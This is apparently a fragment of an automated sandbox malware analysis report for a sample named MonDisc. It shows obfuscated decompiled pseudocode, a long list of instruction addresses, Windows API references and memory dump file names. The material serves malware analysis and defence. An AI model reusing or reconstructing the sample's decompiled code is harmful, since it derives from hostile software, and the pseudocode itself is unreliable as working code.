				if (_t1266 >= 0) goto 0xed0f9b3a;
				if (((_t951 & 0x8000007f) - _t957 | 0xffffff80) + _t957 - 0x16 < 0) goto 0xed0f9bc8;
				sil = 0x59;
				E00007FF67FF6ED184484(_t1269);
				goto 0xed0f9b9a;
				if (sil - 0x66 >= 0) goto 0xed0f9baa;
				dil = 0x28;
				asm("adc eax, [eax-0x80]");
				goto [far dword [rdx];
			}

0x7ff6ed0f8333
0x7ff6ed0f8335
0x7ff6ed0f833b
0x7ff6ed0f8340
0x7ff6ed0f8342
0x7ff6ed0f8345
0x7ff6ed0f8347
0x7ff6ed0f834b
0x7ff6ed0f834d
0x7ff6ed0f8354
0x7ff6ed0f835a
0x7ff6ed0f8364
0x7ff6ed0f836d
0x7ff6ed0f8370
0x7ff6ed0f8372
0x7ff6ed0f837e
0x7ff6ed0f8392
0x7ff6ed0f8395
0x7ff6ed0f839b
0x7ff6ed0f83a1
0x7ff6ed0f83a5
0x7ff6ed0f83ab
0x7ff6ed0f83b2
0x7ff6ed0f83bb
0x7ff6ed0f83be
0x7ff6ed0f83c0
0x7ff6ed0f83c7
0x7ff6ed0f83d2
0x7ff6ed0f83d8
0x7ff6ed0f83de
0x7ff6ed0f83e5
0x7ff6ed0f83ee
0x7ff6ed0f83f6
0x7ff6ed0f83fa
0x7ff6ed0f83fe
0x7ff6ed0f8402
0x7ff6ed0f8406
0x7ff6ed0f840c
0x7ff6ed0f8413
0x7ff6ed0f841c
0x7ff6ed0f8422
0x7ff6ed0f8426
0x7ff6ed0f842d
0x7ff6ed0f8433
0x7ff6ed0f843b
0x7ff6ed0f8446
0x7ff6ed0f844b
0x7ff6ed0f844e
0x7ff6ed0f8457
0x7ff6ed0f8463
0x7ff6ed0f8469
0x7ff6ed0f846c
0x7ff6ed0f846e
0x7ff6ed0f8473
0x7ff6ed0f8479
0x7ff6ed0f8482
0x7ff6ed0f848b
0x7ff6ed0f848e
0x7ff6ed0f8490
0x7ff6ed0f8496
0x7ff6ed0f849e
0x7ff6ed0f84a9
0x7ff6ed0f84ac
0x7ff6ed0f84ae
0x7ff6ed0f84b6
0x7ff6ed0f84bf
0x7ff6ed0f84c7
0x7ff6ed0f84d8
0x7ff6ed0f84e0
0x7ff6ed0f84e6
0x7ff6ed0f84ee
0x7ff6ed0f84f4
0x7ff6ed0f84ff
0x7ff6ed0f8507
0x7ff6ed0f8510
0x7ff6ed0f8516
0x7ff6ed0f8522
0x7ff6ed0f8528
0x7ff6ed0f852a
0x7ff6ed0f852c
0x7ff6ed0f8532
0x7ff6ed0f853a
0x7ff6ed0f8543
0x7ff6ed0f854b
0x7ff6ed0f854f
0x7ff6ed0f8553
0x7ff6ed0f8557
0x7ff6ed0f8559
0x7ff6ed0f8561
0x7ff6ed0f856a
0x7ff6ed0f856d
0x7ff6ed0f856f
0x7ff6ed0f8577
0x7ff6ed0f8582
0x7ff6ed0f8588
0x7ff6ed0f858e
0x7ff6ed0f8594
0x7ff6ed0f859c
0x7ff6ed0f85a5
0x7ff6ed0f85ab
0x7ff6ed0f85af
0x7ff6ed0f85b6
0x7ff6ed0f85bc
0x7ff6ed0f85be
0x7ff6ed0f85c6
0x7ff6ed0f85d2
0x7ff6ed0f85d4
0x7ff6ed0f85d7
0x7ff6ed0f85e1
0x7ff6ed0f85e4
0x7ff6ed0f85ea
0x7ff6ed0f85ee
0x7ff6ed0f85f0
0x7ff6ed0f85f8
0x7ff6ed0f8603
0x7ff6ed0f8609
0x7ff6ed0f860f
0x7ff6ed0f8617
0x7ff6ed0f8620
0x7ff6ed0f8628
0x7ff6ed0f862e
0x7ff6ed0f8632
0x7ff6ed0f8636
0x7ff6ed0f863a
0x7ff6ed0f863c
0x7ff6ed0f8643
0x7ff6ed0f864f
0x7ff6ed0f8658
0x7ff6ed0f865e
0x7ff6ed0f8662
0x7ff6ed0f8669
0x7ff6ed0f866f
0x7ff6ed0f8674
0x7ff6ed0f867e
0x7ff6ed0f8687
0x7ff6ed0f868a
0x7ff6ed0f868c
0x7ff6ed0f8696
0x7ff6ed0f8698
0x7ff6ed0f869b
0x7ff6ed0f86a7
0x7ff6ed0f86b0
0x7ff6ed0f86b8
0x7ff6ed0f86ba
0x7ff6ed0f86be
0x7ff6ed0f86c0
0x7ff6ed0f86c7
0x7ff6ed0f86cd
0x7ff6ed0f86d4
0x7ff6ed0f86dd
0x7ff6ed0f86e1
0x7ff6ed0f86e5
0x7ff6ed0f86e9
0x7ff6ed0f86eb
0x7ff6ed0f86f2
0x7ff6ed0f86fd
0x7ff6ed0f8703
0x7ff6ed0f8709
0x7ff6ed0f8710
0x7ff6ed0f8719
0x7ff6ed0f871c
0x7ff6ed0f871e
0x7ff6ed0f8724
0x7ff6ed0f872b
0x7ff6ed0f8736
0x7ff6ed0f873c
0x7ff6ed0f8742
0x7ff6ed0f8748
0x7ff6ed0f8750
0x7ff6ed0f8756
0x7ff6ed0f8759
0x7ff6ed0f8760
0x7ff6ed0f8769
0x7ff6ed0f8771
0x7ff6ed0f8773
0x7ff6ed0f8777
0x7ff6ed0f8779
0x7ff6ed0f8780
0x7ff6ed0f8786
0x7ff6ed0f878d
0x7ff6ed0f8796
0x7ff6ed0f879a
0x7ff6ed0f879e
0x7ff6ed0f87a2
0x7ff6ed0f87a4
0x7ff6ed0f87a6
0x7ff6ed0f87ad
0x7ff6ed0f87b6
0x7ff6ed0f87c3
0x7ff6ed0f87c7
0x7ff6ed0f87cb
0x7ff6ed0f87cf
0x7ff6ed0f87d5
0x7ff6ed0f87db
0x7ff6ed0f87e2
0x7ff6ed0f87ee
0x7ff6ed0f87f7
0x7ff6ed0f87fd
0x7ff6ed0f8800
0x7ff6ed0f8802
0x7ff6ed0f8809
0x7ff6ed0f8814
0x7ff6ed0f881a
0x7ff6ed0f8820
0x7ff6ed0f8825
0x7ff6ed0f882c
0x7ff6ed0f8835
0x7ff6ed0f8838
0x7ff6ed0f883a
0x7ff6ed0f8841
0x7ff6ed0f884a
0x7ff6ed0f884c
0x7ff6ed0f884e
0x7ff6ed0f8854
0x7ff6ed0f885b
0x7ff6ed0f8866
0x7ff6ed0f886b
0x7ff6ed0f8871
0x7ff6ed0f8878
0x7ff6ed0f8886
0x7ff6ed0f8888
0x7ff6ed0f888f
0x7ff6ed0f8898
0x7ff6ed0f889b
0x7ff6ed0f88a1
0x7ff6ed0f88a7
0x7ff6ed0f88ae
0x7ff6ed0f88b9
0x7ff6ed0f88bf
0x7ff6ed0f88c5
0x7ff6ed0f88ca
0x7ff6ed0f88d1
0x7ff6ed0f88da
0x7ff6ed0f88de
0x7ff6ed0f88e2
0x7ff6ed0f88e6
0x7ff6ed0f88e8
0x7ff6ed0f88ec
0x7ff6ed0f88f0
0x7ff6ed0f88f6
0x7ff6ed0f88f9
0x7ff6ed0f8900
0x7ff6ed0f8906
0x7ff6ed0f890d
0x7ff6ed0f8916
0x7ff6ed0f891a
0x7ff6ed0f891e
0x7ff6ed0f8926
0x7ff6ed0f8928
0x7ff6ed0f892c
0x7ff6ed0f892e
0x7ff6ed0f8936
0x7ff6ed0f8939
0x7ff6ed0f8940
0x7ff6ed0f8949
0x7ff6ed0f894d
0x7ff6ed0f8951
0x7ff6ed0f8958
0x7ff6ed0f8961
0x7ff6ed0f8967
0x7ff6ed0f896b
0x7ff6ed0f8972
0x7ff6ed0f897c
0x7ff6ed0f897f
0x7ff6ed0f8989
0x7ff6ed0f898d
0x7ff6ed0f899a
0x7ff6ed0f89a3
0x7ff6ed0f89ac
0x7ff6ed0f89b5
0x7ff6ed0f89b7
0x7ff6ed0f89c4
0x7ff6ed0f89ca
0x7ff6ed0f89cd
0x7ff6ed0f89cf
0x7ff6ed0f89d9
0x7ff6ed0f89e0
0x7ff6ed0f89ec
0x7ff6ed0f89f5
0x7ff6ed0f89fb
0x7ff6ed0f89fe
0x7ff6ed0f8a00
0x7ff6ed0f8a07
0x7ff6ed0f8a12
0x7ff6ed0f8a18
0x7ff6ed0f8a20
0x7ff6ed0f8a26
0x7ff6ed0f8a2c
0x7ff6ed0f8a33
0x7ff6ed0f8a3c
0x7ff6ed0f8a44
0x7ff6ed0f8a48
0x7ff6ed0f8a4c
0x7ff6ed0f8a50
0x7ff6ed0f8a52
0x7ff6ed0f8a59
0x7ff6ed0f8a62
0x7ff6ed0f8a68
0x7ff6ed0f8a6c
0x7ff6ed0f8a73
0x7ff6ed0f8a7b
0x7ff6ed0f8a83
0x7ff6ed0f8a8c
0x7ff6ed0f8a8e
0x7ff6ed0f8a91
0x7ff6ed0f8a94
0x7ff6ed0f8a9e
0x7ff6ed0f8aa1
0x7ff6ed0f8aab
0x7ff6ed0f8aad
0x7ff6ed0f8ab3
0x7ff6ed0f8ab6
0x7ff6ed0f8ab9
0x7ff6ed0f8abb
0x7ff6ed0f8abf
0x7ff6ed0f8ac1
0x7ff6ed0f8ac8
0x7ff6ed0f8ace
0x7ff6ed0f8ad8
0x7ff6ed0f8ae4
0x7ff6ed0f8ae6
0x7ff6ed0f8aed
0x7ff6ed0f8af3
0x7ff6ed0f8af7
0x7ff6ed0f8afe
0x7ff6ed0f8b04
0x7ff6ed0f8b10
0x7ff6ed0f8b19
0x7ff6ed0f8b1c
0x7ff6ed0f8b1e
0x7ff6ed0f8b25
0x7ff6ed0f8b2e
0x7ff6ed0f8b36
0x7ff6ed0f8b3a
0x7ff6ed0f8b3e
0x7ff6ed0f8b42
0x7ff6ed0f8b44
0x7ff6ed0f8b4b
0x7ff6ed0f8b54
0x7ff6ed0f8b5a
0x7ff6ed0f8b5e
0x7ff6ed0f8b65
0x7ff6ed0f8b6b
0x7ff6ed0f8b72
0x7ff6ed0f8b7d
0x7ff6ed0f8b83
0x7ff6ed0f8b89
0x7ff6ed0f8b8c
0x7ff6ed0f8b96
0x7ff6ed0f8b9f
0x7ff6ed0f8ba2
0x7ff6ed0f8ba4
0x7ff6ed0f8bae
0x7ff6ed0f8bbc
0x7ff6ed0f8bbe
0x7ff6ed0f8bc8
0x7ff6ed0f8bd1
0x7ff6ed0f8bd4
0x7ff6ed0f8bd6
0x7ff6ed0f8be0
0x7ff6ed0f8bf1
0x7ff6ed0f8bfb
0x7ff6ed0f8bfe
0x7ff6ed0f8c04
0x7ff6ed0f8c08
0x7ff6ed0f8c0c
0x7ff6ed0f8c12
0x7ff6ed0f8c1c
0x7ff6ed0f8c2a
0x7ff6ed0f8c2c
0x7ff6ed0f8c2e
0x7ff6ed0f8c38
0x7ff6ed0f8c48
0x7ff6ed0f8c4a
0x7ff6ed0f8c54
0x7ff6ed0f8c60
0x7ff6ed0f8c62
0x7ff6ed0f8c65
0x7ff6ed0f8c6f
0x7ff6ed0f8c72
0x7ff6ed0f8c78
0x7ff6ed0f8c7c
0x7ff6ed0f8c7e
0x7ff6ed0f8c88
0x7ff6ed0f8c93
0x7ff6ed0f8c99
0x7ff6ed0f8c9f
0x7ff6ed0f8cab
0x7ff6ed0f8cb5
0x7ff6ed0f8cbd
0x7ff6ed0f8cc3
0x7ff6ed0f8ccd
0x7ff6ed0f8cdb
0x7ff6ed0f8cdd
0x7ff6ed0f8cdf
0x7ff6ed0f8ce9
0x7ff6ed0f8cf4
0x7ff6ed0f8cf9
0x7ff6ed0f8cff
0x7ff6ed0f8d02
0x7ff6ed0f8d0c
0x7ff6ed0f8d15
0x7ff6ed0f8d18
0x7ff6ed0f8d1a
0x7ff6ed0f8d24
0x7ff6ed0f8d35
0x7ff6ed0f8d3f
0x7ff6ed0f8d42
0x7ff6ed0f8d48
0x7ff6ed0f8d4c
0x7ff6ed0f8d4e
0x7ff6ed0f8d54
0x7ff6ed0f8d5a
0x7ff6ed0f8d60
0x7ff6ed0f8d66
0x7ff6ed0f8d6c
0x7ff6ed0f8d72
0x7ff6ed0f8d7e
0x7ff6ed0f8d87
0x7ff6ed0f8d8a
0x7ff6ed0f8d8c
0x7ff6ed0f8d93
0x7ff6ed0f8d9e
0x7ff6ed0f8da4
0x7ff6ed0f8daa
0x7ff6ed0f8dac
0x7ff6ed0f8db2
0x7ff6ed0f8db9
0x7ff6ed0f8dc2
0x7ff6ed0f8dc4
0x7ff6ed0f8dc6
0x7ff6ed0f8dcd
0x7ff6ed0f8dd8
0x7ff6ed0f8ddd
0x7ff6ed0f8de3
0x7ff6ed0f8deb
0x7ff6ed0f8dee
0x7ff6ed0f8df5
0x7ff6ed0f8dfb
0x7ff6ed0f8e05
0x7ff6ed0f8e0e
0x7ff6ed0f8e12
0x7ff6ed0f8e16
0x7ff6ed0f8e1a
0x7ff6ed0f8e1c
0x7ff6ed0f8e1f
0x7ff6ed0f8e21
0x7ff6ed0f8e27
0x7ff6ed0f8e31
0x7ff6ed0f8e34
0x7ff6ed0f8e3b
0x7ff6ed0f8e41
0x7ff6ed0f8e4b
0x7ff6ed0f8e57
0x7ff6ed0f8e59
0x7ff6ed0f8e5d
0x7ff6ed0f8e5f
0x7ff6ed0f8e6b
0x7ff6ed0f8e74
0x7ff6ed0f8e7c
0x7ff6ed0f8e80
0x7ff6ed0f8e84
0x7ff6ed0f8e88
0x7ff6ed0f8e8a
0x7ff6ed0f8e8c
0x7ff6ed0f8e92
0x7ff6ed0f8e94
0x7ff6ed0f8e9b
0x7ff6ed0f8ea2
0x7ff6ed0f8ea4
0x7ff6ed0f8ea8
0x7ff6ed0f8eac
0x7ff6ed0f8eb0
0x7ff6ed0f8eb2
0x7ff6ed0f8eb6
0x7ff6ed0f8eba
0x7ff6ed0f8ec0
0x7ff6ed0f8ec6
0x7ff6ed0f8ecd
0x7ff6ed0f8ed8
0x7ff6ed0f8eda
0x7ff6ed0f8edd
0x7ff6ed0f8ee0
0x7ff6ed0f8eea
0x7ff6ed0f8eed
0x7ff6ed0f8ef6
0x7ff6ed0f8efc
0x7ff6ed0f8eff
0x7ff6ed0f8f05
0x7ff6ed0f8f09
0x7ff6ed0f8f0b
0x7ff6ed0f8f10
0x7ff6ed0f8f19
0x7ff6ed0f8f2a
0x7ff6ed0f8f2f
0x7ff6ed0f8f34
0x7ff6ed0f8f39
0x7ff6ed0f8f3d
0x7ff6ed0f8f3e
0x7ff6ed0f8f42
0x7ff6ed0f8f45
0x7ff6ed0f8f47
0x7ff6ed0f8f4f
0x7ff6ed0f8f58
0x7ff6ed0f8f60
0x7ff6ed0f8f64
0x7ff6ed0f8f68
0x7ff6ed0f8f6c
0x7ff6ed0f8f6e
0x7ff6ed0f8f76
0x7ff6ed0f8f7f
0x7ff6ed0f8f85
0x7ff6ed0f8f89
0x7ff6ed0f8f90
0x7ff6ed0f8f96
0x7ff6ed0f8f9a
0x7ff6ed0f8fa0
0x7ff6ed0f8fa6
0x7ff6ed0f8fae
0x7ff6ed0f8fb9
0x7ff6ed0f8fbf
0x7ff6ed0f8fc5
0x7ff6ed0f8fc8
0x7ff6ed0f8fd0
0x7ff6ed0f8fd9
0x7ff6ed0f8fdc
0x7ff6ed0f8fde
0x7ff6ed0f8fe6
0x7ff6ed0f8ff7
0x7ff6ed0f9001
0x7ff6ed0f9004
0x7ff6ed0f900a
0x7ff6ed0f900e
0x7ff6ed0f9012
0x7ff6ed0f901a
0x7ff6ed0f9020
0x7ff6ed0f9023
0x7ff6ed0f902b
0x7ff6ed0f9034
0x7ff6ed0f903c
0x7ff6ed0f904c
0x7ff6ed0f9053
0x7ff6ed0f9059
0x7ff6ed0f9063
0x7ff6ed0f9065
0x7ff6ed0f9072
0x7ff6ed0f9078
0x7ff6ed0f907b
0x7ff6ed0f907d
0x7ff6ed0f9080
0x7ff6ed0f9087
0x7ff6ed0f908d
0x7ff6ed0f9095
0x7ff6ed0f909e
0x7ff6ed0f90a2
0x7ff6ed0f90a6
0x7ff6ed0f90ae
0x7ff6ed0f90b4
0x7ff6ed0f90b8
0x7ff6ed0f90c2
0x7ff6ed0f90c5
0x7ff6ed0f90cb
0x7ff6ed0f90cf
0x7ff6ed0f90d1
0x7ff6ed0f90d6
0x7ff6ed0f90df
0x7ff6ed0f90e8
0x7ff6ed0f90eb
0x7ff6ed0f90ed
0x7ff6ed0f90f5
0x7ff6ed0f9100
0x7ff6ed0f9106
0x7ff6ed0f910c
0x7ff6ed0f9110
0x7ff6ed0f9116
0x7ff6ed0f9120
0x7ff6ed0f9128
0x7ff6ed0f912b
0x7ff6ed0f9132
0x7ff6ed0f9138
0x7ff6ed0f9140
0x7ff6ed0f9149
0x7ff6ed0f914d
0x7ff6ed0f9151
0x7ff6ed0f9155
0x7ff6ed0f9157
0x7ff6ed0f915d
0x7ff6ed0f915f
0x7ff6ed0f916c
0x7ff6ed0f9172
0x7ff6ed0f9175
0x7ff6ed0f9177
0x7ff6ed0f917a
0x7ff6ed0f9181
0x7ff6ed0f9187
0x7ff6ed0f918f
0x7ff6ed0f919b
0x7ff6ed0f91a1
0x7ff6ed0f91a5
0x7ff6ed0f91ab
0x7ff6ed0f91ca
0x7ff6ed0f91d0
0x7ff6ed0f91da
0x7ff6ed0f91e0
0x7ff6ed0f91e5
0x7ff6ed0f91f6
0x7ff6ed0f91fc
0x7ff6ed0f91ff
0x7ff6ed0f9201
0x7ff6ed0f9207
0x7ff6ed0f920d
0x7ff6ed0f9215
0x7ff6ed0f921e
0x7ff6ed0f9221
0x7ff6ed0f9223
0x7ff6ed0f922b
0x7ff6ed0f9236
0x7ff6ed0f923c
0x7ff6ed0f9242
0x7ff6ed0f9248
0x7ff6ed0f9250
0x7ff6ed0f9259
0x7ff6ed0f925c
0x7ff6ed0f925e
0x7ff6ed0f9266
0x7ff6ed0f9271
0x7ff6ed0f9277
0x7ff6ed0f927d
0x7ff6ed0f9285
0x7ff6ed0f928e
0x7ff6ed0f9291
0x7ff6ed0f9293
0x7ff6ed0f929b
0x7ff6ed0f92a6
0x7ff6ed0f92ac
0x7ff6ed0f92b2
0x7ff6ed0f92ba
0x7ff6ed0f92c3
0x7ff6ed0f92c6
0x7ff6ed0f92c8
0x7ff6ed0f92ce
0x7ff6ed0f92d6
0x7ff6ed0f92e1
0x7ff6ed0f92e7
0x7ff6ed0f92ed
0x7ff6ed0f92f3
0x7ff6ed0f92fb
0x7ff6ed0f9304
0x7ff6ed0f930c
0x7ff6ed0f930f
0x7ff6ed0f9313
0x7ff6ed0f9317
0x7ff6ed0f931b
0x7ff6ed0f931d
0x7ff6ed0f9327
0x7ff6ed0f9337
0x7ff6ed0f9339
0x7ff6ed0f9341
0x7ff6ed0f9347
0x7ff6ed0f934a
0x7ff6ed0f934c
0x7ff6ed0f9356
0x7ff6ed0f9361
0x7ff6ed0f9366
0x7ff6ed0f936c
0x7ff6ed0f9376
0x7ff6ed0f937f
0x7ff6ed0f9385
0x7ff6ed0f9389
0x7ff6ed0f9390
0x7ff6ed0f9396
0x7ff6ed0f93a2
0x7ff6ed0f93a4
0x7ff6ed0f93ad
0x7ff6ed0f93b0
0x7ff6ed0f93b2
0x7ff6ed0f93b8
0x7ff6ed0f93ba
0x7ff6ed0f93c0
0x7ff6ed0f93ca
0x7ff6ed0f93d1
0x7ff6ed0f93e7
0x7ff6ed0f93ef
0x7ff6ed0f93fc
0x7ff6ed0f9405
0x7ff6ed0f940b
0x7ff6ed0f940e
0x7ff6ed0f9418
0x7ff6ed0f941a
0x7ff6ed0f941f
0x7ff6ed0f9429
0x7ff6ed0f942c
0x7ff6ed0f9436
0x7ff6ed0f943f
0x7ff6ed0f9445
0x7ff6ed0f9448
0x7ff6ed0f944a
0x7ff6ed0f9454
0x7ff6ed0f945d
0x7ff6ed0f9465
0x7ff6ed0f946b
0x7ff6ed0f946f
0x7ff6ed0f9473
0x7ff6ed0f9477
0x7ff6ed0f9479
0x7ff6ed0f947d
0x7ff6ed0f947f
0x7ff6ed0f9482
0x7ff6ed0f9489
0x7ff6ed0f948f
0x7ff6ed0f9499
0x7ff6ed0f94a5
0x7ff6ed0f94a7
0x7ff6ed0f94ab
0x7ff6ed0f94ad
0x7ff6ed0f94b4
0x7ff6ed0f94ba
0x7ff6ed0f94c4
0x7ff6ed0f94cd
0x7ff6ed0f94cf
0x7ff6ed0f94d4
0x7ff6ed0f94e2
0x7ff6ed0f94ea
0x7ff6ed0f94f2
0x7ff6ed0f94f6
0x7ff6ed0f94fa
0x7ff6ed0f94fe
0x7ff6ed0f9500
0x7ff6ed0f9506
0x7ff6ed0f950e
0x7ff6ed0f9516
0x7ff6ed0f951c
0x7ff6ed0f9520
0x7ff6ed0f9527
0x7ff6ed0f952d
0x7ff6ed0f952f
0x7ff6ed0f9537
0x7ff6ed0f953f
0x7ff6ed0f9547
0x7ff6ed0f9551
0x7ff6ed0f9557
0x7ff6ed0f955f
0x7ff6ed0f9565
0x7ff6ed0f956d
0x7ff6ed0f9575
0x7ff6ed0f9578
0x7ff6ed0f957a
0x7ff6ed0f9582
0x7ff6ed0f958c
0x7ff6ed0f9592
0x7ff6ed0f9598
0x7ff6ed0f959e
0x7ff6ed0f95a6
0x7ff6ed0f95ac
0x7ff6ed0f95b4
0x7ff6ed0f95ba
0x7ff6ed0f95c0
0x7ff6ed0f95c6
0x7ff6ed0f95ce
0x7ff6ed0f95d6
0x7ff6ed0f95de
0x7ff6ed0f95e2
0x7ff6ed0f95e6
0x7ff6ed0f95ee
0x7ff6ed0f95f6
0x7ff6ed0f95fc
0x7ff6ed0f9600
0x7ff6ed0f9607
0x7ff6ed0f960d
0x7ff6ed0f9613
0x7ff6ed0f961b
0x7ff6ed0f9623
0x7ff6ed0f962b
0x7ff6ed0f962f
0x7ff6ed0f9633
0x7ff6ed0f9637
0x7ff6ed0f9639
0x7ff6ed0f963b
0x7ff6ed0f9643
0x7ff6ed0f964b
0x7ff6ed0f964f
0x7ff6ed0f9653
0x7ff6ed0f9657
0x7ff6ed0f9659
0x7ff6ed0f965d
0x7ff6ed0f9661
0x7ff6ed0f9667
0x7ff6ed0f9669
0x7ff6ed0f9671
0x7ff6ed0f967c
0x7ff6ed0f967e
0x7ff6ed0f9682
0x7ff6ed0f9686
0x7ff6ed0f968c
0x7ff6ed0f9693
0x7ff6ed0f9699
0x7ff6ed0f96a1
0x7ff6ed0f96ac
0x7ff6ed0f96ae
0x7ff6ed0f96b4
0x7ff6ed0f96c1
0x7ff6ed0f96c7
0x7ff6ed0f96ca
0x7ff6ed0f96cc
0x7ff6ed0f96d1
0x7ff6ed0f96dc
0x7ff6ed0f96e4
0x7ff6ed0f96e7
0x7ff6ed0f96ef
0x7ff6ed0f96f5
0x7ff6ed0f96fc
0x7ff6ed0f9706
0x7ff6ed0f970c
0x7ff6ed0f9712
0x7ff6ed0f9718
0x7ff6ed0f971e
0x7ff6ed0f9724
0x7ff6ed0f972b
0x7ff6ed0f9736
0x7ff6ed0f973c
0x7ff6ed0f973f
0x7ff6ed0f9745
0x7ff6ed0f974c
0x7ff6ed0f9752
0x7ff6ed0f9756
0x7ff6ed0f9758
0x7ff6ed0f9764
0x7ff6ed0f976e
0x7ff6ed0f9774
0x7ff6ed0f9779
0x7ff6ed0f9780
0x7ff6ed0f9788
0x7ff6ed0f9790
0x7ff6ed0f9794
0x7ff6ed0f9798
0x7ff6ed0f979c
0x7ff6ed0f97a2
0x7ff6ed0f97a5
0x7ff6ed0f97ab
0x7ff6ed0f97b5
0x7ff6ed0f97bc
0x7ff6ed0f97c2
0x7ff6ed0f97cc
0x7ff6ed0f97d7
0x7ff6ed0f97d9
0x7ff6ed0f97dd
0x7ff6ed0f97df
0x7ff6ed0f97eb
0x7ff6ed0f97f3
0x7ff6ed0f97f9
0x7ff6ed0f97fd
0x7ff6ed0f9804
0x7ff6ed0f980a
0x7ff6ed0f980f
0x7ff6ed0f9816
0x7ff6ed0f981e
0x7ff6ed0f9821
0x7ff6ed0f9823
0x7ff6ed0f982a
0x7ff6ed0f9834
0x7ff6ed0f983a
0x7ff6ed0f9840
0x7ff6ed0f9847
0x7ff6ed0f984f
0x7ff6ed0f9852
0x7ff6ed0f9854
0x7ff6ed0f985a
0x7ff6ed0f9861
0x7ff6ed0f9871
0x7ff6ed0f987e
0x7ff6ed0f9884
0x7ff6ed0f9887
0x7ff6ed0f9889
0x7ff6ed0f9890
0x7ff6ed0f9898
0x7ff6ed0f98a0
0x7ff6ed0f98a4
0x7ff6ed0f98a8
0x7ff6ed0f98ac
0x7ff6ed0f98ae
0x7ff6ed0f98b0
0x7ff6ed0f98b7
0x7ff6ed0f98bf
0x7ff6ed0f98c3
0x7ff6ed0f98c7
0x7ff6ed0f98cb
0x7ff6ed0f98cd
0x7ff6ed0f98d1
0x7ff6ed0f98d5
0x7ff6ed0f98db
0x7ff6ed0f98e2
0x7ff6ed0f98ea
0x7ff6ed0f98f2
0x7ff6ed0f98f6
0x7ff6ed0f98fa
0x7ff6ed0f98fe
0x7ff6ed0f9900
0x7ff6ed0f9906
0x7ff6ed0f990d
0x7ff6ed0f9915
0x7ff6ed0f991b
0x7ff6ed0f991f
0x7ff6ed0f9926
0x7ff6ed0f992c
0x7ff6ed0f9931
0x7ff6ed0f9938
0x7ff6ed0f9940
0x7ff6ed0f9943
0x7ff6ed0f9945
0x7ff6ed0f9948
0x7ff6ed0f994f
0x7ff6ed0f9955
0x7ff6ed0f995f
0x7ff6ed0f996a
0x7ff6ed0f996c
0x7ff6ed0f9970
0x7ff6ed0f9972
0x7ff6ed0f997c
0x7ff6ed0f997e
0x7ff6ed0f9985
0x7ff6ed0f998b
0x7ff6ed0f9992
0x7ff6ed0f999d
0x7ff6ed0f999f
0x7ff6ed0f99a3
0x7ff6ed0f99a5
0x7ff6ed0f99af
0x7ff6ed0f99b6
0x7ff6ed0f99c0
0x7ff6ed0f99c6
0x7ff6ed0f99cc
0x7ff6ed0f99d6
0x7ff6ed0f99dc
0x7ff6ed0f99e2
0x7ff6ed0f99e8
0x7ff6ed0f99ee
0x7ff6ed0f99f5
0x7ff6ed0f99fd
0x7ff6ed0f9a00
0x7ff6ed0f9a04
0x7ff6ed0f9a0a
0x7ff6ed0f9a11
0x7ff6ed0f9a1b
0x7ff6ed0f9a21
0x7ff6ed0f9a27
0x7ff6ed0f9a29
0x7ff6ed0f9a30
0x7ff6ed0f9a38
0x7ff6ed0f9a40
0x7ff6ed0f9a44
0x7ff6ed0f9a48
0x7ff6ed0f9a4c
0x7ff6ed0f9a4e
0x7ff6ed0f9a54
0x7ff6ed0f9a5b
0x7ff6ed0f9a63
0x7ff6ed0f9a69
0x7ff6ed0f9a6d
0x7ff6ed0f9a74
0x7ff6ed0f9a7c
0x7ff6ed0f9a82
0x7ff6ed0f9a85
0x7ff6ed0f9a8f
0x7ff6ed0f9a92
0x7ff6ed0f9a98
0x7ff6ed0f9a9c
0x7ff6ed0f9a9e
0x7ff6ed0f9aa4
0x7ff6ed0f9aaa
0x7ff6ed0f9aaf
0x7ff6ed0f9ab4
0x7ff6ed0f9abc
0x7ff6ed0f9ac4
0x7ff6ed0f9ac8
0x7ff6ed0f9acc
0x7ff6ed0f9ad0
0x7ff6ed0f9ad2
0x7ff6ed0f9adc
0x7ff6ed0f9ae3
0x7ff6ed0f9aeb
0x7ff6ed0f9aef
0x7ff6ed0f9af4
0x7ff6ed0f9af8
0x7ff6ed0f9aff
0x7ff6ed0f9b05
0x7ff6ed0f9b0c
0x7ff6ed0f9b14
0x7ff6ed0f9b1c
0x7ff6ed0f9b21
0x7ff6ed0f9b25
0x7ff6ed0f9b2b
0x7ff6ed0f9b32
0x7ff6ed0f9b3d
0x7ff6ed0f9b43
0x7ff6ed0f9b46
0x7ff6ed0f9b4b
0x7ff6ed0f9b51
0x7ff6ed0f9b53
0x7ff6ed0f9b57
0x7ff6ed0f9b5a

APIs

AnyPopup.USER32 ref: 00007FF6ED0F8335
IsIconic.USER32 ref: 00007FF6ED0F8406

Part of subcall function 00007FF6ED0F56BC: GetMessageExtraInfo.USER32 ref: 00007FF6ED0F5751
Part of subcall function 00007FF6ED0F56BC: AnyPopup.USER32 ref: 00007FF6ED0F5757
Part of subcall function 00007FF6ED0F56BC: GetWindowTextLengthW.USER32 ref: 00007FF6ED0F5761
Part of subcall function 00007FF6ED0F56BC: IsZoomed.USER32 ref: 00007FF6ED0F577A

GetMessageTime.USER32 ref: 00007FF6ED0F8490
GetLastActivePopup.USER32 ref: 00007FF6ED0F84E0
GetDesktopWindow.USER32 ref: 00007FF6ED0F84E6
GetTopWindow.USER32 ref: 00007FF6ED0F84EE
GetCurrentProcess.KERNEL32 ref: 00007FF6ED0F84F4
AnyPopup.USER32 ref: 00007FF6ED0F852C

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

